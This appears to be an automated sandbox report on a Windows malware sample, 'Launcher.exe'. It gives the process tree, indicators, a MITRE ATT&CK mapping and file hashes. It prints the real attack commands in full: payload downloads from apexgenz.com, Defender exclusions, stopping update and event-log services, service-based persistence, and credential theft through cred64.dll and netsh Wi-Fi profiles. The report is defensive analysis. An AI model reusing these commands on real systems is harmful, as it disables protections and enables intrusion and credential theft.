2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

672

pid	process
672

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedwm.exe

description	pid	process
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeShutdownPrivilege	764	powercfg.exe
Token: SeCreatePagefilePrivilege	764	powercfg.exe
Token: SeShutdownPrivilege	2412	powercfg.exe
Token: SeCreatePagefilePrivilege	2412	powercfg.exe
Token: SeShutdownPrivilege	840	powercfg.exe
Token: SeCreatePagefilePrivilege	840	powercfg.exe
Token: SeShutdownPrivilege	1532	powercfg.exe
Token: SeCreatePagefilePrivilege	1532	powercfg.exe
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeShutdownPrivilege	4976	powercfg.exe
Token: SeCreatePagefilePrivilege	4976	powercfg.exe
Token: SeShutdownPrivilege	4812	powercfg.exe
Token: SeCreatePagefilePrivilege	4812	powercfg.exe
Token: SeShutdownPrivilege	1020	powercfg.exe
Token: SeCreatePagefilePrivilege	1020	powercfg.exe
Token: SeShutdownPrivilege	2736	powercfg.exe
Token: SeCreatePagefilePrivilege	2736	powercfg.exe
Token: SeLockMemoryPrivilege	2412	dwm.exe

Suspicious use of FindShellTrayWindow 11 IoCs

Processes:

wget.exewinrar.exewget.exewinrar.exewget.exewinrar.exe3plugin0324

pid	process
4956	wget.exe
4956	winrar.exe
4956	winrar.exe
3672	wget.exe
4020	winrar.exe
4020	winrar.exe
4020	winrar.exe
4940	wget.exe
1624	winrar.exe
1624	winrar.exe
3856	3plugin0324

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Launcher.exeLaunhcer.exepowershell.exeLauncher.exeplugin03243plugin0324cmd.execmd.exekuytqawknxye.exe

description	pid	process	target process
PID 4152 wrote to memory of 2352	4152	Launcher.exe	Launhcer.exe
PID 4152 wrote to memory of 2352	4152	Launcher.exe	Launhcer.exe
PID 4152 wrote to memory of 2352	4152	Launcher.exe	Launhcer.exe
PID 4152 wrote to memory of 2352	4152	Launcher.exe	Launhcer.exe
PID 4152 wrote to memory of 2352	4152	Launcher.exe	Launhcer.exe
PID 2352 wrote to memory of 3248	2352	Launhcer.exe	powershell.exe
PID 2352 wrote to memory of 3248	2352	Launhcer.exe	powershell.exe
PID 2352 wrote to memory of 3248	2352	Launhcer.exe	powershell.exe
PID 3248 wrote to memory of 3120	3248	powershell.exe	Launcher.exe
PID 3248 wrote to memory of 3120	3248	powershell.exe	Launcher.exe
PID 3248 wrote to memory of 3120	3248	powershell.exe	Launcher.exe
PID 3248 wrote to memory of 3120	3248	powershell.exe	Launcher.exe
PID 3248 wrote to memory of 3120	3248	powershell.exe	Launcher.exe
PID 3120 wrote to memory of 1716	3120	Launcher.exe	powershell.exe
PID 3120 wrote to memory of 1716	3120	Launcher.exe	powershell.exe
PID 3120 wrote to memory of 1716	3120	Launcher.exe	powershell.exe
PID 3120 wrote to memory of 4956	3120	Launcher.exe	wget.exe
PID 3120 wrote to memory of 4956	3120	Launcher.exe	wget.exe
PID 3120 wrote to memory of 4956	3120	Launcher.exe	wget.exe
PID 3120 wrote to memory of 4956	3120	Launcher.exe	winrar.exe
PID 3120 wrote to memory of 4956	3120	Launcher.exe	winrar.exe
PID 3120 wrote to memory of 4956	3120	Launcher.exe	winrar.exe
PID 3120 wrote to memory of 4536	3120	Launcher.exe	plugin0324
PID 3120 wrote to memory of 4536	3120	Launcher.exe	plugin0324
PID 3120 wrote to memory of 4536	3120	Launcher.exe	plugin0324
PID 3120 wrote to memory of 3672	3120	Launcher.exe	wget.exe
PID 3120 wrote to memory of 3672	3120	Launcher.exe	wget.exe
PID 3120 wrote to memory of 3672	3120	Launcher.exe	wget.exe
PID 4536 wrote to memory of 4576	4536	plugin0324	dialer.exe
PID 4536 wrote to memory of 4576	4536	plugin0324	dialer.exe
PID 4536 wrote to memory of 4576	4536	plugin0324	dialer.exe
PID 4536 wrote to memory of 4576	4536	plugin0324	dialer.exe
PID 4536 wrote to memory of 4576	4536	plugin0324	dialer.exe
PID 3120 wrote to memory of 4020	3120	Launcher.exe	winrar.exe
PID 3120 wrote to memory of 4020	3120	Launcher.exe	winrar.exe
PID 3120 wrote to memory of 4020	3120	Launcher.exe	winrar.exe
PID 3120 wrote to memory of 1256	3120	Launcher.exe	2plugin0324
PID 3120 wrote to memory of 1256	3120	Launcher.exe	2plugin0324
PID 3120 wrote to memory of 4940	3120	Launcher.exe	wget.exe
PID 3120 wrote to memory of 4940	3120	Launcher.exe	wget.exe
PID 3120 wrote to memory of 4940	3120	Launcher.exe	wget.exe
PID 3120 wrote to memory of 1624	3120	Launcher.exe	winrar.exe
PID 3120 wrote to memory of 1624	3120	Launcher.exe	winrar.exe
PID 3120 wrote to memory of 1624	3120	Launcher.exe	winrar.exe
PID 3120 wrote to memory of 3856	3120	Launcher.exe	3plugin0324
PID 3120 wrote to memory of 3856	3120	Launcher.exe	3plugin0324
PID 3120 wrote to memory of 3856	3120	Launcher.exe	3plugin0324
PID 3856 wrote to memory of 2988	3856	3plugin0324	Dctooux.exe
PID 3856 wrote to memory of 2988	3856	3plugin0324	Dctooux.exe
PID 3856 wrote to memory of 2988	3856	3plugin0324	Dctooux.exe
PID 3120 wrote to memory of 652	3120	Launcher.exe	cmd.exe
PID 3120 wrote to memory of 652	3120	Launcher.exe	cmd.exe
PID 3120 wrote to memory of 652	3120	Launcher.exe	cmd.exe
PID 3200 wrote to memory of 4528	3200	cmd.exe	wusa.exe
PID 3200 wrote to memory of 4528	3200	cmd.exe	wusa.exe
PID 1196 wrote to memory of 852	1196	cmd.exe	wusa.exe
PID 1196 wrote to memory of 852	1196	cmd.exe	wusa.exe
PID 2272 wrote to memory of 3076	2272	kuytqawknxye.exe	conhost.exe
PID 2272 wrote to memory of 3076	2272	kuytqawknxye.exe	conhost.exe
PID 2272 wrote to memory of 3076	2272	kuytqawknxye.exe	conhost.exe
PID 2272 wrote to memory of 3076	2272	kuytqawknxye.exe	conhost.exe
PID 2272 wrote to memory of 3076	2272	kuytqawknxye.exe	conhost.exe
PID 2272 wrote to memory of 3076	2272	kuytqawknxye.exe	conhost.exe
PID 2272 wrote to memory of 3076	2272	kuytqawknxye.exe	conhost.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2624
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4576

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
  "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3248
  - - C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
      "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3120
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1716
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:4956
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:4956
    - - C:\Users\Admin\AppData\Roaming\services\plugin0324
        
        C:\Users\Admin\AppData\Roaming\services\plugin0324
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4536
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4536 -s 652
        6⤵
        Program crash
        
        PID:1240
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:3672
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:4020
    - - C:\Users\Admin\AppData\Roaming\services\2plugin0324
        
        C:\Users\Admin\AppData\Roaming\services\2plugin0324
        5⤵
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1256
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1660
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3200
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:4528
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:5100
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:3644
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:1072
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:3076
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:4724
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2412
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:840
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1532
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:764
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:432
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:1936
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:2672
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:3816
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:4940
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:1624
    - - C:\Users\Admin\AppData\Roaming\services\3plugin0324
        
        C:\Users\Admin\AppData\Roaming\services\3plugin0324
        5⤵
        Checks computer location settings
        Drops file in Windows directory
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:3856
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 856
        6⤵
        Program crash
        
        PID:500
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 900
        6⤵
        Program crash
        
        PID:3480
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 968
        6⤵
        Program crash
        
        PID:1664
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 976
        6⤵
        Program crash
        
        PID:3496
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1044
        6⤵
        Program crash
        
        PID:852
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1052
        6⤵
        Program crash
        
        PID:4040
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1160
        6⤵
        Program crash
        
        PID:3432
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1148
        6⤵
        Program crash
        
        PID:1952
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1240
        6⤵
        Program crash
        
        PID:1876
      - C:\Users\Admin\AppData\Local\Temp\b4e248fdbd\Dctooux.exe
        
        "C:\Users\Admin\AppData\Local\Temp\b4e248fdbd\Dctooux.exe"
        6⤵
        Executes dropped EXE
        
        PID:2988
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2988 -s 608
        7⤵
        Program crash
        
        PID:4880
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3856 -s 1268
        6⤵
        Program crash
        
        PID:2720
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
        5⤵
        
        PID:652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4536 -ip 4536
1⤵
PID:4776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3856 -ip 3856
1⤵
PID:5052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3856 -ip 3856
1⤵
PID:2364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3856 -ip 3856
1⤵
PID:2044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3856 -ip 3856
1⤵
PID:5000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3856 -ip 3856
1⤵
PID:2444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3856 -ip 3856
1⤵
PID:4792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3856 -ip 3856
1⤵
PID:3492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3856 -ip 3856
1⤵
PID:316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 3856 -ip 3856
1⤵
PID:1208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3856 -ip 3856
1⤵
PID:2032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2988 -ip 2988
1⤵
PID:3384

C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
1⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:852
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:816
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1900
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3200
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4528
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2172
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4812
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1020
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2736
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4976
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:3076
- C:\Windows\system32\dwm.exe
  dwm.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2412

C:\Users\Admin\AppData\Local\Temp\b4e248fdbd\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\b4e248fdbd\Dctooux.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:1552
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 520
  2⤵
  - Program crash
  PID:1192
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 528
  2⤵
  - Program crash
  PID:2384
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 556
  2⤵
  - Program crash
  PID:3856
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 536
  2⤵
  - Program crash
  PID:1728
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 740
  2⤵
  - Program crash
  PID:4456
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 568
  2⤵
  - Program crash
  PID:3608
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 756
  2⤵
  - Program crash
  PID:1148
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 780
  2⤵
  - Program crash
  PID:4972
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 932
  2⤵
  - Program crash
  PID:1428
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 1072
  2⤵
  - Program crash
  PID:3684
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1552 -s 1544
  2⤵
  - Program crash
  PID:3116
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\1000006011\7e3f638b66.dll, Main
  2⤵
  - Loads dropped DLL
  PID:4964
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\5ebdeb3f981e75\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:316
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\5ebdeb3f981e75\cred64.dll, Main
    3⤵
    - Loads dropped DLL
    PID:3484
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:1928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1552 -ip 1552
1⤵
PID:1580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1552 -ip 1552
1⤵
PID:1652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1552 -ip 1552
1⤵
PID:2132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1552 -ip 1552
1⤵
PID:3600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1552 -ip 1552
1⤵
PID:2044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1552 -ip 1552
1⤵
PID:4288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1552 -ip 1552
1⤵
PID:4504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1552 -ip 1552
1⤵
PID:940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1552 -ip 1552
1⤵
PID:2156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1552 -ip 1552
1⤵
PID:4452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1552 -ip 1552
1⤵
PID:224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe

Filesize
6.2MB

MD5
f0b4bd293ea20726eeee9abea178a8d3

SHA1
cb54d4f45d71e6cec6323f9a748f974b69536892

SHA256
19ab9da86af6801fff50394e4a904609d7f3009eb9e31d0221b1a4b42d797e7c

SHA512
c71694c4c7ffff29e7ab0593fea29a33dd28b33b4c531a7d2fe6455815eb462a1a6cab4e9544e173b0c8afb0bd04552098bc2f83a972d2d2467322fa7b491191

Download Submit
C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe

Filesize
8.7MB

MD5
483516ad4e889026a0d73897e80cec17

SHA1
9cea09eb964b568d7a91b3cc93ab07573c7c0c8e

SHA256
8e50dbc8964b805493eaab9357690670e76e1e2f3d74bd31c89edf9f61d1cc9f

SHA512
b3f8405aea16ab5db0fcc9c51339f4e6522bb8ad7d77f9b382e0e1757bea61ba4d10ea651bdd93cd9479c2ff5b5466354db78f6cf1422b830d5c44f68f43949f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
d4d8cef58818612769a698c291ca3b37

SHA1
54e0a6e0c08723157829cea009ec4fe30bea5c50

SHA256
98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0

SHA512
f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
56KB

MD5
d8d5aa8896bf31e099f76b2f43a6364f

SHA1
294afc5947dce388487452b0a5e801a1994d790b

SHA256
06afa405cd3983c3aeccff1dd91e8e053e89bf344eecf66ce70a09e6f2f4399b

SHA512
3305c2be4443dbf00c066f3f3d99a12966be13fa630dd2bc393474d40534ec083c1aac52930c6499e9101441422ea4b8f96aefedf4ad6b589c4627e13a886dfb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
72da0869d0c5d0c5e90da622851760d6

SHA1
689715dd2f3f42b2bb56c8c56bd8122f190ef09f

SHA256
671a93596bcc5552b8d32530346f27bbe32584048c612f0a82ff3c050376eb12

SHA512
f32591a40f2f69b16a82f8826c1b5d259930bbf5574b5671d577c36cc32f5c4b67b50c4ac5e7d8317fdfca656d709b01b41739ced29975980391de77bbcb7458

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
995b53262c086bfd91653f7ae29ffc74

SHA1
f82c7a83a3c4d695fb8df726e1b311e504901fec

SHA256
9cef372a680097441956a2e101dd940bb8ca5a9f01e6e080dd64f892b05bb125

SHA512
39195a4831d22e4c0550244a24276770e8a6d70d19ca39dc56598fceb143ab51a1529f385a4d278148ccfe566976176aafaa612047b1db973df8dfb0fa0ecefa

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006011\7e3f638b66.dll

Filesize
3.0MB

MD5
f537594affe0028ac56132ab1351e8f6

SHA1
fa3eca7c5a76d7fc764e15595614ed2db28f510d

SHA256
7d13e310100630fee5dfe72bd4a06d84d9f8e58d0c0bf7db23d9052b8b93a873

SHA512
e1a76b0db462a131648dc8019cd2e169fad714d0e91bfc8540aaa19a53502ee19abe86b75554cda02f8d0e34e2fe9762416a34e080f20e0b495e80023ac5d934

